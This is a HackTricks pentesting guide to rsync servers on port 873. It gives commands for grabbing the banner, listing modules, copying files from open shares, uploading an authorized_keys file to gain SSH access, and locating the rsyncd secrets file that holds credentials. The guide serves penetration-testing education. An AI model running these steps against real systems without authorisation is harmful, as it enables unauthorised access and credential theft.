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127 lines
6.3 KiB
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127 lines
6.3 KiB
Markdown
# 873 - Pentesting Rsync
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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## **Basic Information**
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From [wikipedia](https://en.wikipedia.org/wiki/Rsync):
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> **rsync** is a utility for efficiently [transferring](https://en.wikipedia.org/wiki/File\_transfer) and [synchronizing](https://en.wikipedia.org/wiki/File\_synchronization) [files](https://en.wikipedia.org/wiki/Computer\_file) between a computer and an external hard drive and across [networked](https://en.wikipedia.org/wiki/Computer\_network) [computers](https://en.wikipedia.org/wiki/Computer) by comparing the [modification times](https://en.wikipedia.org/wiki/Timestamping\_\(computing\))and sizes of files.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) It is commonly found on [Unix-like](https://en.wikipedia.org/wiki/Unix-like) [operating systems](https://en.wikipedia.org/wiki/Operating\_system). The rsync algorithm is a type of [delta encoding](https://en.wikipedia.org/wiki/Delta\_encoding), and is used for minimizing network usage. [Zlib](https://en.wikipedia.org/wiki/Zlib) may be used for additional [data compression](https://en.wikipedia.org/wiki/Data\_compression),[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) and [SSH](https://en.wikipedia.org/wiki/Secure\_Shell) or [stunnel](https://en.wikipedia.org/wiki/Stunnel) can be used for security.
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**Default port:** 873
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```
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PORT STATE SERVICE REASON
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873/tcp open rsync syn-ack
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```
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## Enumeration
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### Banner & Manual communication
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```bash
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nc -vn 127.0.0.1 873
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(UNKNOWN) [127.0.0.1] 873 (rsync) open
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@RSYNCD: 31.0 <--- You receive this banner with the version from the server
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@RSYNCD: 31.0 <--- Then you send the same info
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#list <--- Then you ask the sever to list
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raidroot <--- The server starts enumerating
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USBCopy
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NAS_Public
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_NAS_Recycle_TOSRAID <--- Enumeration finished
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@RSYNCD: EXIT <--- Sever closes the connection
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#Now lets try to enumerate "raidroot"
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nc -vn 127.0.0.1 873
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(UNKNOWN) [127.0.0.1] 873 (rsync) open
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@RSYNCD: 31.0
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@RSYNCD: 31.0
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raidroot
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@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
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```
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### **Enumerating Shared Folders**
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**Rsync modules** are recognized as **directory shares** that might be **protected with passwords**. To identify available modules and check if they require passwords, the following commands are used:
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```bash
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nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
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msf> use auxiliary/scanner/rsync/modules_list
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# Example with IPv6 and alternate port
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rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
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```
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Be aware that some shares might not appear in the list, possibly hiding them. Additionally, accessing some shares might be restricted to specific **credentials**, indicated by an **"Access Denied"** message.
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### [**Brute Force**](../generic-methodologies-and-resources/brute-force.md#rsync)
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### Manual Rsync Usage
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Upon obtaining a **module list**, actions depend on whether authentication is needed. Without authentication, **listing** and **copying** files from a shared folder to a local directory is achieved through:
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```bash
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# Listing a shared folder
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rsync -av --list-only rsync://192.168.0.123/shared_name
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# Copying files from a shared folder
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rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
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```
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This process **recursively transfers files**, preserving their attributes and permissions.
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With **credentials**, listing and downloading from a shared folder can be done as follows, where a password prompt will appear:
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```bash
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rsync -av --list-only rsync://username@192.168.0.123/shared_name
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rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
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```
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To **upload content**, such as an _**authorized_keys**_ file for access, use:
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```bash
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rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
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```
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## POST
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To locate the rsyncd configuration file, execute:
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```bash
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find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
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```
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Within this file, a _secrets file_ parameter might point to a file containing **usernames and passwords** for rsyncd authentication.
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## References
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* [https://www.smeegesec.com/2016/12/pentesting-rsync.html](https://www.smeegesec.com/2016/12/pentesting-rsync.html)
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
|
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|
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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